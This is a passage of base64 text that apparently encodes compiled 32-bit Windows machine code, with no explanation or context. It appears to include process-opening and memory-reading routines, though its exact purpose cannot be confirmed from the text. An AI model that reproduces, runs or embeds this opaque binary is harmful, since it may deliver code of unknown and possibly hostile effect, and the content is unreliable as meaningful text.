gQEOjkuvf/i4QkDAEAAIPEDAuEJAQBAAB0ImgQmRAQ6Me69/9ZjYwkAAEAAOh1FPj/aEgYDBDosLr3/1mLhCQIAQAAC4QkDAEAAHQiaCSZEBDolbr3/1mNjCQIAQAA6EMU+P9oSBgMEOh+uvf/WYuEJBgBAAALhCQcAQAAdCJoOJkQEOhjuvf/WY2MJBgBAADoERT4/2hIGAwQ6Ey69/9Zi4QkEAEAAAuEJBQBAAB0ImhMmRAQ6DG69/9ZjYwkEAEAAOjfE/j/aEgYDBDoGrr3/1mLhCRoBQAAC4QkbAUAAHQiaGCZEBDo/7n3/1mNjCRoBQAA6K0T+P9oSBgMEOjouff/WY1EJCBQagSNRCQ0UItEJBxqHP80A1b/FSi3CxCEwHQfg3wkLAC5aHwNELhgfA0QD0TBUGh0mRAQ6Kq59/9ZWY1EJCBQaiCNRCQ4UItEJBxqHf80A1b/FSi3CxCEwHRVZoN8JDACdSCNRCRQUI1EJDxQ/xWYuAsQhcB0OY1EJFBQaJCZEBDrJmaDfCQwF3UljUQkUFCNRCRAUP8VnLgLEIXAdBGNRCRQUGismRAQ6DW59/9ZWYtEJCRHg8NMO/gPgpf9//+FwHULaMiZEBDoFbn3/1n/dCQQ/xUwtwsQ6xP/FcS0CxBQaHiaEBDo97j3/1lZhfZ0B1b/FSy3CxBfXjPAW4vlXcNVi+xRi1UMjUX8i00IU1ZXM9tTUGgw6Q4Q6KQT+P+DxAyFwA+EywAAAFNT/3X86OtgAQCLVQyL+ItNCI1F/FNQaLyZDRDoeBP4/4PEGIXAdBFTU/91/OjDYAEAg8QMi/DrA4PO/4tVDI1F/ItNCGiw2AwQUGgIbA4Q6EQT+P9XaEybEBDoWLj3/4PEFIP+/3UMaIibEBDoRrj3/+sMVmiomxAQ6Dm49/9ZWWiwmxAQ6C249/9ZU/91/FZXU/8VNLcLEITAdA5XaLybEBDoELj3/1nrKos1xLQLEP/WPS4FAAB1B2jgmxAQ6w//1lBooJwQEOvYaBCdEBDo47f3/1lfXjPAW8nDVYvsg+wojVXYuTiXEBDoagn4/4XAdG2DfdwEclv/dfRqAGg6BAAA/xU0tAsQhcB0OY1N/IvQUTPJQeg4rPf/WYXAdFNocJ0QEOiNt/f//3X8i038upLlCBDoP8T3/1lZi0386J6s9//rLf8VxLQLEFBo0J0QEOsYaECeEBDoWbf3/+sS/xXEtAsQUGi4nhAQ6Ea39/9ZWTPAycNVi+yD5PiD7BRTVot1CDPAiUQkFFfHRCQcBPQREIF+GAAAAgCLBolEJBCLRQyJRCQUD4XTAwAAgX4QAAABAA+ExgMAAIN+FAQPhbwDAAD/dgxqQP8V0LQLEIlEJBiFwA+EpQMAAP92DI1UJBSNTCQc6Dms9/9ZhcAPhIIDAACLTgyLdCQYA86JTCQMjUYIO8EPh2oDAABqAoHGEgIAALsAAgAAWrkEuAwQjb7u/f//iwE7B3UKD7dBBGY7RwR0FbkUuAwQiwE7B3UcD7dBBGY7RwR1EouG8v3//yUAAAH/LQAAAQDrKLkMuAwQiwE7Bw+F9gAAAA+3QQRmO0cED4XoAAAAi4by/f//JQAA///32BvAQIXAD4TQAAAAM/85vvz9//8PhcQCAAAPt472/f//9sEBD4W0AgAAZjvLD4OrAgAAD7eG+P3//6gBD4WcAgAAZjvCD4aTAgAAZjvDD4OKAgAAD7eW+v3///bCAQ+FdwIAAGY70w+DbgIAANHoVlCNhgD+//9Qi8HR6FBoUJ8QEOiqtff/g8QUZjm++v3//3QmgT3k+hEQSCYAAHIaUYtMJBiNhgACAABTUOgobvf/hcAPhCICAACNhgACAABQD7eG+v3//9HoUGisnxAQ6F219/+DxAzp/wEAALkcuAwQiwE7Bw+F8wEAAItBBDtHBA+F5wEAAIuG/v3//4XAD4TZAQAAqAEPhdEBAAA9ABAAAA+DxgEAAA+3hvr9//9mhcAPhLYBAACoAQ+FrgEAAGY7ww+DpQEAAA+3jvz9//9mO8F0CivKO8EPhY8BAACLhgb+//+FwA+EgQEAAKgBD4V5AQAAPQAQAAAPg24BAACNngL+//8PtwNmhcAPhIUBAACoAQ+FfQEAALkAAgAAZjvBD4N2AQAAD7eOBP7//2Y7wXQKK8o7wQ+FWQEAAGjcnxAQ6Hm09/8rfCQcA3wkFIuW9v3//1mF0nRz9sIBdW6B+gAQAABzZo2e8v3//w+3A2aFwHRSqAF1TrkAAgAAZjvBc0QPt470/f//ZjvBdAeD6QI7wXUxjQQ6i8uJhvb9//+LVCQU6DzJ9/+FwHQZU2gQoBAQ6Ae09/9ZWf+29v3///8VtLQLEI2eAv7//wG+/v3//42O+v3//4tUJBToBMn3/4XAdB+Nhvr9//9QaDygEBDoybP3/1lZ/7b+/f///xW0tAsQAb4G/v//i8uLVCQU6NDI9/+FwHRLD7cDUYtMJBhQ/7YG/v//6Dps9/+FwHQg/7YG/v///xV8tAsQ/7YG/v//aGigEBDocrP3/1lZ6weLy+j2uAAA/7YG/v///xW0tAsQuwACAABqAlqDxgSNjvb9//87TCQMD4ak/P///3QkGP8VtLQLEF8zwF5AW4vlXcIIALsAAgAA69CL2evMVYvsUVGLVQyLTQhqAGoAaJSgEBDo5w34/2hwnRAQiUX86Pmy9/+DxBCNVfi57ekIEOjPuvf/M8DJw1WL7IPk+IPsHFOLXQhWV4tDRFBqAGg6BAAAiUQkHP8VNLQLEIv4hf90Yot1DDPJVovXQehJp/f/WYXAdEiLDo1EJBRQuqSgEBDo/L73/1mFwHQr/3QkGI1DOP90JBhQ/3QkHGi8oBAQ6Hiy9/+LDoPEFLqF6ggQVugqv/f/WYsO6Iun9/9X/xW8tAsQXzPAXkBbi+VdwggAVYvsg+T4g+wUg2QkBABTi10MVot1CFfHRCQUBPQREIF+GAAAAgCLBolEJBiLA4lEJBwPhd0AAACBfhAAAAEAD4TQAAAAg34UBA+FxgAAAP92DGpA/xXQtAsQiUQkEIXAD4SvAAAA/3YMjVQkHI1MJBToRaf3/1mLTCQQhcAPhIsAAACLfgyNQQgD+TvHd3+NcRCBfvDNq8rbdWeDfvQDdWGLRvyDwPY96QEAAHdUi04IjUH2PekBAAB3R4tWBIXSdECLQwSFwHQsUVL/Nv92/P92+P929P928P927P926GgAoRAQ6GSx9/+LQwSDxCiLTgiLVgRQUYtMJCToIQAAAFlZRo1G+DvHdoiLTCQQUf8VtLQLEF8zwF5AW4vlXcIIAIPsLFOLXCQ0uAT0ERBVVmvzLFcz/4lEJDSJfCQwiVQkIFZqQIlMJCyJfCQwiUQkNIl8JCD/FdC0CxCJRCQwhcAPhKMCAABWjVQkJI1MJDToRqb3/1mFwA+EgQIAAItsJDCJfCQchdsPhHUCAACJfCQUjXUIi074hckPhF8CAACLRvxIg/gSD4dSAgAAiUwkII1MJCDoPcP3/4v4hf8PhDsCAACDfCREAA+FtgAAAFdoZKEQEOgIRAEAWVmFwA+EoQAAAFdocKEQEOjzQwEAWVmFwA+EjAAAAFdofKEQEOjeQwEAWVmFwHR7V2icoRAQ6M1DAQBZWYXAdGpXaLShEBDovEMBAFlZhcB0WVdowKEQEOirQwEAWVmFwHRIV2jIoRAQ6JpDAQBZWYXAdDdXaNShEBDoiUMBAFlZhcB0Jldo6KEQEOh4QwEAWVmFwHQVV2j4oRAQ6GdDAQBZWYXAD4VaAQAAg3wkGAB1E2hIGAwQ6Lev9/9Zx0QkGAEAAABXaBSiEBDoo6/3/4tG/FlZg+gBD4SNAQAAg+gBD4RwAQAAg+gBD4RIAQAAg+gBD4TJAAAASIPoAXQP/zb/dvxojKMQEOlTAQAAaNSiEBDoW6/3/4M+AFkPhNgAAACDfhwAD4TOAAAA/3YcakD/FdC0CxCJRCQohcAPhLcAAACLBo1UJCCJRCQgjUwkKP92HOiIpPf/WYXAdFj3RgwACAAAi1QkFItUKiR0O1GLTCQoUv90JDDonWf3/4XAdByLTCQojUEEUIsB0ehQaOyiEBDo2q73/4PEDOsYaACjEBDoy673/+sLi0wkKGoA6FMH+P9Z/3QkKP8VtLQLEOs4aLCiEBDop673/4sGWY1MJCCJRCQg6B3E9/+L2IXbdBRTaMiiEBDohq73/1lZU/8VtLQLEItcJEBoSBgMEOhvrvf/WVf/FbS0CxCLRCQcg8Ysg0QkFCxAiUQkHDvDD4KW/f//i2wkMFX/FbS0CxBfXl1bg8Qsw4M+ALmIohAQuHyiEBAPRMFQaJSiEBDoIK73/1lZ66MPtwZQUGhQohAQ6A2u9/+DxAzrj/82/zZoJKIQEOvraPCjEBD/FYy0CxCjkPQREIXAD4TnAAAAVos1iLQLEGgEpBAQUP/WaBykEBD/NZD0ERCjjPQREP/WaDSkEBD/NZD0ERCjnPQREP/WaESkEBD/NZD0ERCjmPQREP/WaFikEBD/NZD0ERCjlPQREP/WaGykEBD/NZD0ERCjiPQREP/WaHykEBD/NZD0ERCjqPQREP/WaIikEBD/NZD0ERCjpPQREP/Wgz2M9BEQAKOE9BEQo6z0ERBedD+DPZz0ERAAdDaDPZj0ERAAdC2DPZT0ERAAdCSDPYj0ERAAdBuDPaj0ERAAdBKDPaT0ERAAdAmFwHQFM8BA6wIzwKOg9BEQM8DDoZD0ERCFwHQHUP8VgLQLEDPAw1WL7IPk+IPsPItVDItNCFNWVzP2VlZoYF4PEOipB/j/g8QMi/iJfCQ0OTWg9BEQD4SFBAAAjUQkJFCNRCREUFb/FZz0ERCFwA+FXwQAAIveiVwkODlcJEAPhisEAACJdCQ8aISlEBDofKz3/1mLTCQkjQwO6EwG+P9oSBgMEOhlrPf/WY1EJBRQi0QkKGoAA8ZQ/xWY9BEQhcAPiNMDAACLTCQU6KgIAACNRCQgUI1EJCBQaAACAAD/dCQg/xWI9BEQhcAPiJ4DAAD/dCQcaJilEBDoEKz3/1lZM8mJTCQsOUwkHA+GdAMAADPbM9KJXCQYiVQkMIE95PoREEAfAACLdCQgD4NRAQAAA/L/dhBRaLSlEBDozqv3/4PEDGjMpRAQ6MGr9/9Zi87olgX4/2hIGAwQ6K+r9//HBCT4pRAQ6KOr9/9ZjU4g6FUF+P9oSBgMEOiQq/f/Wf92KGgkphAQ6IKr9/9oWKYQEOh4q/f/i04Ug8QM6HUIAABoSBgMEOhjq/f/xwQkhKYQEOhXq/f/WYtOGOhWCAAAaEgYDBDoRKv3/8cEJLCmEBDoOKv3/1mLThzoNwgAAGhIGAwQ6CWr9/9Zhf90ODP/OX4sdjEz21do3KYQEOgMq/f/i04wA8voCggAAGhIGAwQ6Piq9/+DxAyDwyBHO34sctWLXCQYg2QkKACNRCQoUGoAagD/dhj/dhRW/3QkLP8VhPQREGgIpxAQi/Dovar3/1mF9nUOi0wkKItJHOi0BwAA6w1WaDinEBDon6r3/1lZaEgYDBDok6r3/1np0gEAAAPz/3YQUWi0pRAQ6H2q9/+DxAxozKUQEOhwqvf/WYvO6EUE+P+7SBgMEFPoXar3/8cEJPilEBDoUar3/1mNTiToAwT4/1PoQqr3/1n/dixoJKYQEOg0qvf/aFimEBDoKqr3/4tOFIPEDOgnBwAAU+gZqvf/xwQkhKYQEOgNqvf/WYtOGOgMBwAAU+j+qff/xwQksKYQEOjyqff/WYtOHOjxBgAAU+jjqff/xwQkmKcQEOjXqff/WYtOIOjWBgAAU+jIqff/WYX/dDQz/zl+MHYtM9tXaNymEBDor6n3/4tONAPL6K0GAABoSBgMEOibqff/g8QMg8MgRzt+MHLVjUQkEDP/UFdXiXwkHP92IP92GP92FFb/dCQw/xWs9BEQi9hoCKcQEIlcJEjoXqn3/1mF23UOi0wkEItJHOhVBgAA6w1TaMinEBDoQKn3/1lZaEgYDBDoNKn3/1mL17tguAwQM8mLBI47BIsPhcsAAABBg/kEde5r+hj/t3C4DBBoKKgQEOgFqff/WVmLj3S4DBCFyXQeg3wkRAB1CItEJBCFwHUCM8BqAVBWjYdguAwQUP/RaEgYDBDo0aj3/1mDfCQQAHQK/3QkEP8VpPQREItcJBiLTCQsg8M4i1QkMEGLfCQ0g8I0iUwkLIlUJDCJXCQYO0wkHA+CoPz//4tcJDiLdCQ8/3QkIP8VpPQREI1EJBRQ/xWo9BEQQ4PGEIlcJDiJdCQ8O1wkQA+C2fv///90JCT/FaT0ERDrJYPHGEKDwxiB/6gAAAAPghT////pa////1BoSKgQEOgwqPf/WVlfXjPAW4vlXcOD7BxTi1wkKFVWM/aLQxhXiz20tAsQhcAPhIQBAACDeAgID4V6AQAAaLyoEBDo86f3/4tLGItJFOj1Afj/i0sYjUQkGFZWUItJFI1UJCDoyA34/4PEEIXAdCH/dCQQ/3QkGGjoqBAQ6Lmn9/+DxAz/dCQQ/9f/dCQU/9doSBgMEOigp/f/i2wkNFmBfQArobi0D4UPAQAAiy10sAsQjUQkIFBqCGoAaACpEBBoAgAAgP/VhcAPhdsAAACNRCQcUItDGP9wFP8VjLALEIXAD4SjAAAAjUQkNFBqAWoA/3QkKP90JDD/1YXAdXeLLWywCxCNRCQYUDPAUFBQaKSpEBD/dCRI/9WFwHU//3QkGGpA/xXQtAsQi/CF9nQ6jUQkGFBWagBqAGikqRAQ/3QkSP/VhcB0IVBouKkQEOjmpvf/WVlW/9eL8OsNUGiAqhAQ6NKm9/9ZWf90JDT/FYSwCxDrDVBoSKsQEOi5pvf/WVn/dCQc/9frE/8VxLQLEFBoEKwQEOiepvf/WVn/dCQg/xWEsAsQ6w1QaOCsEBDohab3/1lZi2wkMItMJDiFyXRoi0kchcl0YYN5CAh1W2aLQRBmiUQkJmaJRCQki0EUaLytEBCJRCQs6Eum9/9ZjUwkJOho/Pf/hcB0Eo1EJCRQaNTGDRDoLqb3/1nrEA+3VCQki0wkKGoB6LD+9/9ZaEgYDBDoEKb3/1mLQzSFwA+EcwEAAIN7MAAPhmkBAACBfQD1M+CyD4RFAQAAgX0AK6G4tHRzgX0AkXLI/nQPaBSwEBDo0aX3/+k6AQAAg3gICA+FMQEAAItwFGjcrxAQiz4D/uixpff/WYtOCIP5AXYYi0YEjQRHUI1B/1BoCLAQEOiTpff/g8QMi0YEg/gBdhBXSFBosNIOEOh7pff/g8QMaEgYDBDrm4N4CAgPhdYAAACLWBSF9nQQVmggrhAQ6FWl9/9ZWVb/12hQrhAQ6Eal9/9ZM/+NcwxXaJyuEBDoNaX3/4tG9FlZg+gAdFaD6AF0P4PoAXQR/3b0aNSvEBDoFKX3/1lZ606DfgQAuOiuEBC5/K4QEA9EwVD/Nv92/P92+GgYrxAQ6Oyk9/+DxBTrJf92BP82/3b8/3b4aHCvEBDr5P92/P92+GiwrhAQ6MWk9/+DxAxoSBgMEOi4pPf/R4PGFFmD/wMPgmr////rF4N4CAJ1EQ+3QBBQaOitEBDok6T3/1lZX15dW4PEHMIQAFWL7FFTVot1DLtIGAwQVzP/i0YYhcB0YIN4CAh1Wmi8qBAQ6F+k9/+LThiLSRToYf73/4tOGI1F/FdXUItJFI1VDOg2Cvj/g8QQhcB0I/91DP91/GjoqBAQ6Cmk9/+LNbS0CxCDxAz/dQz/1v91/P/WU+gQpPf/WYt1EIX2dGqLdhyF9nRjg34ICHVdi3YUhfZ0VmgksBAQ6Oqj9/+LVgSNThRX6HP89/9oULAQEOjUo/f/i1YIjU4UA04EV+ha/Pf/aHywEBDou6P3/4tGCI1OFANGBItWDAPIV+g8/Pf/U+iho/f/g8QcX15bycIQAFWL7IPsFFaNRezHRewBAAAAUIvxD1fAagBWZg8TRfBmDxNF+P8VlPQREIXAeBj/dfBoqLAQEOhco/f/WVn/dfD/FaT0ERCBPeT6ERBAHwAAD1fAZg8TRfAbwGYPE0X4g+AEg8AEiUXsjUXsUGoAVv8VlPQREF6FwHgjg33wALjMsBAQD0VF8FBo5LAQEOgFo/f/WVn/dfD/FaT0ERDJw1eL+YX/D4TtAAAAi08IVo13EI1B/4PoAQ+EyQAAAEiD6AEPhLYAAACD6AMPhKQAAACD6AEPhIMAAACD6AN0OIPoAXQfUWgMshAQ6Kmi9/9qAWoEWovO6DL79/+DxAzplAAAAGhosRAQ6Iui9/9Ziw5eX+mO/Pf/aHixEBDod6L3/4sG/3AE/3AEaJSxEBDoZaL3/4sG/zBoyLEQEOhXovf/aOyxEBDoTaL3/4sOg8Qci1EIi0kMXl/poPj3/2hUsRAQ6DGi9/+LFotPFGoB6Lr69//rIP82aDyxEBDrEv82aCSxEBDrCQ+3BlBoCLEQEOgDovf/WVleX8OD7GxTVVYz9rgE9BEQi+6JdCQMV4lsJByJRCQsiUQkJDk1pPcREA+FaQEAAIuUJIQAAACLjCSAAAAAVlZobIcPEOiZ/Pf/g8QMhcAPhEQBAAD/NeT6ERC5AMgREGoFWuh0pPf/i/BZhfYPhPICAACLTgiNVCRUiUwkKItOEIlMJCC56IsPEOgV8/f/hcAPhOoAAAD/dCRwVWg4BAAA/xU0tAsQhcAPhMQAAACNTCQUi9BRM8lB6OCV9/9ZhcAPhJ4CAACLTCQUjUQkQFC6aIYPEOiNrff/WYXAdHOLTCREjVQkKItEJEBR/7QkiAAAAIlEJDj/tCSIAAAAi0QkVIlMJECNTCQ8iUQkRI1EJCxo1PoIEP92FMcFpPcREAEAAAD/dgxQ/3YE6CGi9/+DxCCFwHUT/xXEtAsQUGgoshAQ6Lqg9/9ZWSEtpPcREOsT/xXEtAsQUGiQshAQ6J+g9/9ZWYtMJBTov5X3/+nyAQAA/xXEtAsQUGhIsxAQ6wz/FcS0CxBQaKizEBDocKD3/1lZ6cwBAACNRCQQUI1EJBxQVVb/FWixCxCFwA+EmwEAAIN8JBgAi96JdCQUD4aAAQAAi0QkEL3kuw4Qv+S7DhC65LsOEIs0mLvkuw4Qg34MAP82D0VuDIN+MACLTiAPRV4wg34sAA9FfiyDfggAD0VWCOgALvf/g34EB1BRG8AjRgT/NIV0HgwQ/3YEVVNXUmgwtBAQ6Naf9/9oFLUQEOjMn/f/i0QkPIPELItcJBSLDJiLURiLSRzoGPb3/4tEJBCLBJj/cCRoMLUQEOifn/f/i5QkjAAAADP2i4wkiAAAAFZWaGBeDxDoZPr3/4tMJCSDxBSFwA+EkAAAAIsEmYv+OXAkD4aCAAAAV2hUtRAQ6Fuf9/+LRCQYiwSYi0Ao/3QwBP90MARoeLUQEOg/n/f/i0QkJIPEFIsEmItAKP80MGiotRAQ6CWf9/9oyLUQEOgbn/f/i0QkHIPEDIsEmItIKItUMQiLTDEM6Gb19/9oSBgMEOj3nvf/WYtMJBCNdhBHiwSZO3gkcoAz9osMmehJAAAAaEgYDBDo0p73/0NZiVwkFDtcJBgPgoT+//+LbCQc/3QkEP8VZLELEEWJbCQcg/0Bdw2DPeD6ERAFD4c0/v//X15dM8Bbg8Rsw1WL7IPsHFNWi/FXaCClDhD/dgjokuQAAFlZhcB0botWGIP6FA+ClgEAAIt+HLsgJgwQM/aLzotEjwQ7BIsPhX0BAABBg/kEde2NRfiJVfBQVlZWjUXoiX30UFaNRfDHRehKAAAAUMdF7BgeDBD/FbixCxCFwHQKaIClDhDpCAEAAP8VxLQLEOknAQAAaKilDhD/dgjoEeQAAFlZhcAPhB0BAABocLYQEOjmnff/g34YFFkPgggBAACLfhy6JKYOEDP2i84PtgQKOgQPD4XvAAAAQYP5DHXtix3EtAsQOXcMdGpoSKUOEOinnff/i0cMWYlF8I1HFIlF9I1F+FBWVlZWVo1F8FD/FbixCxCFwHQtaIClDhDoeZ33/4tV+ItN/OjT8/f/xwQkSBgMEOhinff/Wf91/P8VtLQLEOsP/9NQaOi1EBDoSZ33/1lZOXcQdG9oSKUOEOg4nff/i0cQiUXwi0cMg8AUWQPHiUX0jUX4UFZWVlZWjUXwUP8VuLELEIXAdC1oMKYOEOgFnff/i1X4i0386F/z9//HBCRIGAwQ6O6c9/9Z/3X8/xW0tAsQ6w//01Bo6LUQEOjVnPf/WVlfXlvJw1WL7IPk+IHssAAAAFNVVjP2x0QkGDTJERBXjVQkRIl0JCi5ELcQEIl0JDSJdCQ4iXQkPIl0JECJdCQUiXQkGMdEJCAE9BEQ6O2k9/+FwA+ELwMAAP90JERWaBgEAAD/FTS0CxCL2IlcJCyF2w+E/QIAAI1EJBgzyVCL00Ho6ZD3/1mFwA+E3AIAAFGLTCQcjZQktAAAAOhWqvf/iz20tAsQWYXAD4R7AgAAi4QkuAAAAI1UJDCNTCQUiUQkFOi9qvf/hcAPhFQCAACLTCQwi0QkGIlEJDhRi0E0iUQkOItBUI1MJCCJRCRAjUQkOFBqB1roA5P3/1lZhcAPhAsCAACLRCRAjUwkHIPADIlEJBSNRCQUagSL0IlEJCDoHJH3/1mFwA+E2wEAAI1EJChqBI1UJBiJRCQgjUwkIOj8kPf/WYXAD4S0AQAAi0QkKI1UJBSJRCQUjUwkHI1EJExqFIlEJCDo1JD3/1mFwA+EhQEAAItEJFiNVCQUgT3k+hEQWBsAAI1MJBxqUA9DRCRgiUQkXIlEJBiNRCRkiUQkIOiZkPf/WYXAD4RDAQAA/3QkZP90JHD/dCRwaDC3EBDoDJv3/4tEJHiDxBDB4AJQakD/FdC0CxCL2IlcJEiF2w+E/AAAAItMJGgz7UWJdCQkhcl0SoXtD4TEAAAA/3QkbGpA/xXQtAsQi1QkJIkEk4XAdAWD5QHrEVJoeLcQEOitmvf/i1QkLFlZi0wkaEKJVCQkO9FyvoXtD4SCAAAAi5QkoAAAAItMJBhqAVPoSQEAAIuUJKwAAACLTCQgVlPoNwEAAItMJHiDxBCFyXRqi/uL3mhMxw0Q6FSa9/+L7lk5dCRsdhqLBw++BChQaDi4EBDoOpr3/0VZWTtsJGxy5mhIGAwQ6Cea9/9Zi0wkaEODxwQ72XK8iz20tAsQi1wkSIXJdBSDPLMAdAn/NLP/14tMJGhGO/Fy7FP/14tcJCzrN2jgtxAQ6OWZ9/+LXCQw6yZoQLgQEOsaaKC4EBDrE2j4uBAQ6wxoULkQEOsFaLC5EBDouZn3/1n/dCQw/9frEmgQuhAQ6wVoiLoQEOifmff/WYt0JBiF9nQuiwaD6AF0H4PoAXQMg+gBdBWD6AN1FesOi04Ehcl0DIsJ6ByU9///dgT/11b/11P/Fby0CxDrH/8VxLQLEFBo8LoQEOhOmff/WesKaGC7EBDoQZn3/1lfM8BeXVuL5V3Dg+xEU1VWVzPtiVQkGEWJTCQcg3wkXACNVCQYagRYD0Xox0QkFAT0ERCNRCQ4ahiNTCQUiUQkFOhojvf/WYXAD4Q+AQAAi0QkOMHgAlBqQP8V0LQLEIv4hf8PhC8BAACLTCREjVQkGIlMJBiLTCQ4weECUY1MJBSJfCQU6CSO9/+LHbS0CxBZhcAPhOQAAAAz9jl0JDgPhuMAAACNRCQgiUQkEI1UJBiLBLeNTCQQahiJRCQc6OuN9/9ZhcAPhJcAAACLRCQgD6/FUGpA/xXQtAsQiUQkEIXAD4SIAAAAi0QkLI1UJBiJRCQYjUwkEItEJCAPr8VQ6KmN9/9ZhcB0RDPSOVQkIHZJi1wkWIN8JFwAi0QkEHQRiwSQiwyTioAwuQwQiAQO6w2APAIAdAeLBJPGBAYqQjtUJCBy0IsdtLQLEOsNVmjYuxAQ6OeX9/9ZWf90JBD/0+sNVmiIvBAQ6NKX9/9ZWUY7dCQ4D4Iq////6wtoOL0QEOi5l/f/WVf/0+sLaMi9EBDoqZf3/1lfXl1bg8REw41EJAxQagD/dCQQav//dCQU6IPt9/+LCP9wBIPJAVHoTLQBAIPEHMNo3AEAAGgYbREQ6MeRAgAz24ldzIldxGo8U42FFP7//1DoAOUAAGpwU42FGP///1Do8eQAAIld4IldyIld1Ild5Ild2Ild0FNTaEjdDhCLfQyL14t1CIvO6Pzx9/+JRahTU2hkvxAQi9eLzujp8ff/iUXcU1NobL8QEIvXi87o1vH3/4lFtFNTaHS/EBCL14vO6MPx9/+DxEiJRaxTU2iEvxAQi9eLzuit8ff/iUWwU1NojL8QEIvXi87omvH3/4lFuIldiIldjIldkIldlIldmIldnMdFoAIAAABTjUXkUGjYcA4Qi9eLzuhr8ff/g8QkhcB1FI1NzOhEiff/hcB0CItFzItYDOsDi13khdsPhOoEAABqLlPorNsAAFlZhcAPhNgEAABTaOhwDhDoR5b3/2oAjUXYUGjQcA4Qi9eLzugU8ff/g8QUhcB1NFCNRdhQaKC/EBCL14vO6Prw9/+DxAyFwHUajUXQUGoQWovL6IOJ9/9Zi3XYhcAPRXXQ6wOLddiF9g+EbAQAAFZoyHEOEOjilff/WVmLRdyFwHVHUI1F1FBoXJwNEIvXi00I6Kbw9/+DxAyFwHUlUI1FyFBokOgOEIvXi00I6Ivw9/+DxAyFwHUKaADDEBDpJAQAAItF3IXAdAhTaKi/EBDrGIN91AB0Cv911GjgvxAQ6wj/dchoGMAQEOhtlff/WVlRM8lRjUWIUFGDPeD6ERAGG8CD4AeDwAlQjUXYUGhgwBAQjUXkUFFRUYvXi00I6PzJ9/9og9kAEI1FwFBqAI1FiDPJOU2MD0TBUIM94PoREAYbwIPgB4PACWoKWYN9uAAPRcFQagH/deRqAFa6+JkNEOhvx/f/g8RQhcAPhHsDAACNhVD+//9QjYUc/v//UP911P91yI2FGP///1BTi9aNTcDo2dH3/4PEGIXAD4QuAwAAg71s/v//AHQS/7Vs/v//aHDAEBDooJT3/1lZjYVQ/v//UI1FxFCNlRj///+NTcDo89T3/1lZhcAPhPACAACNhRT+//+JhTj////HhVz///8wgCgAM8BAuegDAACLfdyF/w9FwYmFYP///8eFZP///wAAoABqBl6LxjPJhf8PRcGJhWj///9qWFhqJFkPRcFQ6A7M9/+JhXj///+FwA+EiwIAAMcAAQAAAIuFeP///4NgBACLhXj///+F/3Q4iXAIM/aLhXj///85cAh2YmoBjQSwg8AMUIsUtfC6DBCNTYDo+tv3/1lZRouFeP///ztwCHLa6zrHQAgTAAAAM/aLhXj///85cAh2JmoBjQSwg8AMUIsUtaC6DBCNTYDovtv3/1lZRouFeP///ztwCHLag2X8AGiQAAAAagCNhYj+//9Q6CHhAACNhYj+//9QjUXgUI2FGP///1BqCP91xOgn4vf/g8QghcAPhQsBAACDfeAGD4WiAAAAhf91DYO98P7//wEPhZEAAACLlfj+//+NjeT+///ocNb3/4XAdG+Lhfj+//8z9ol1pIlF5Du18P7//3MvjVAMjY3k/v//g320AHQN/3Ww/3Ws6EECAADrCf91qFPo0AMAAFlZi0XkiwBG68OF/3RJjbWY/v//jb0o////paWlpWoGWY21yP7//429QP////Oli33c6yNouMAQEOijkvf/Wet7/7Xw/v///3XgaEjBEBDojZL3/4PEDItF4IPoAXQ0g+gBdC+D6AR0GIPoAXQlSIPoAXQf/3Xg/3XgaAC2DRDrJrqt7AAQjY2I/v//6F/L9//rHGhwtQ0Q6ESS9/9Z6w9QUGgQwhAQ6DWS9/+DxAyDvfz+//8AD4Wf/v//jUXEUOjC4Pf/Wetti0XsiwCLAIlFvD0FAADAdEM9AgAAgHQ8PZYAAMB0NT0dAADAdC49AwAAgHQnPf0AAMB0ID0GAADAdBk9IAQAwHQSPQkEAMB0Cz0BAACAdAQzwEDDM8DDi2Xo/3W8/3W8aIjCEBDor5H3/4PEDINN/P+NTYDob9j3/4O9eP///wB0DP+1eP////8VtLQLEI1NwOh7xff/6xJogMMQEOsFaADEEBDocJH3/1mDfdAAdAn/ddD/FbS0CxCDfcwAdAn/dcz/FfCwCxAzwItN8GSJDQAAAABfXlvJw4PsEFNVVleL+jPbM/aL6YX/dHiNRCQQUI1EJChQjQQuUP8VcLELEDPbhcAPmcOFwHhGg3wkLAB0GYvGwegEUP90JCxooMQQEOjzkPf/g8QM6xD/dCQoaLzEEBDo4JD3/1lZagBqEFqNTCQU6GXp9/9ZuEgYDBDrBbjYxBAQUOi9kPf/g8YQWTv3cohfXl2Lw1uDxBDDg+wcU1Yz24vyV4v5OVwkLHUujUQkEFCNRCQwUGhMvxAQ6LfZ9/+DxAyFwHQTg3wkEAR1DItEJCw5GA+FUwEAAFVTU710vhAQi9ZVi8/oi9n3/4PEDIXAD4Q1AQAAU41EJByL1lBoBL8QEIvP6GzZ9/+DxAyFwA+EFgEAAI1EJBSL1lCNRCQ0i89QaGSsDRDoSdn3/4PEDIXAD4TzAAAA/3QkGP8V/LALEA+2AEhQ/3QkHP8V+LALEIsAUGh0lBAQiUQkGOjij/f/U1VWi9czyehT2ff/vUzHDRBV6MuP9/+DxBiNRCQcUI1EJBRQ/3QkOP8VcLELEIXAeA9TahBajUwkIOg46Pf/6wpomMUQEOiXj/f/WVONRCQ0i9ZQaLy+EBCLz+i02Pf/g8QMhcB0VzlcJDR0P4t0JDCJXCQQVehnj/f/M8BZi0wkEEDT4IUGdBf/NI1AuQwQaGTHDRDoSI/3/1lZi0wkEEGJTCQQg/kgcsvrEotEJDD/MGikMxAQ6CaP9/9ZWWhIGAwQ6BqP9/9ZXV9eW4PEHMNVi+yD5PhRU1ZXagGL8ov5aFy+EBBWi9e5LMYQEOhs2Pf/g8QMaEgYDBDo4o73/1kz24vWU1NodL4QEIvP6AHY9/+DxAyL1ovPhcB0B+jQAAAA60FTU2g0vxAQ6OPX9/+DxAyL1ovPhcB0Cv91COinBgAA6x9TU2gMrQ0Q6MLX9/+DxAyFwHQN/3UMi9aLz+j/BwAAWV9eW4vlXcO4AAAAMDvId0V0PYPpAHQygekAAAAQdCSD6QF0GYHp////D3QLg+kBdT64aMsQEMO4TMsQEMO4GMsQEMO4/MoQEMO44MoQEMO4nMsQEMOB6QEAADB0KoPpAXQfgen+//8PdBGD6QF0BrjYYQ0Qw7gQzBAQw7jwyxAQw7jUyxAQw7i0yxAQw4PsDFNVVldoMMwQEIvyi/no2o33/1lqAWh0vhAQVovXuVjMEBDoQtf3/4PEDIvXuYjMEBBqAWiMvhAQVugr1/f/g8QMjUQkFIvWi89qAFBopL4QEOjI1vf/g8QMhcB0HItEJBSLEIvK6A3///9QUmi4zBAQ6HaN9/+DxAxqAI1EJBiL1lBovL4QEIvP6JDW9/+DxAyFwHRFi2wkFP91AGgAzRAQ6EaN9/9ZWTPbM8CLy0DT4IVFA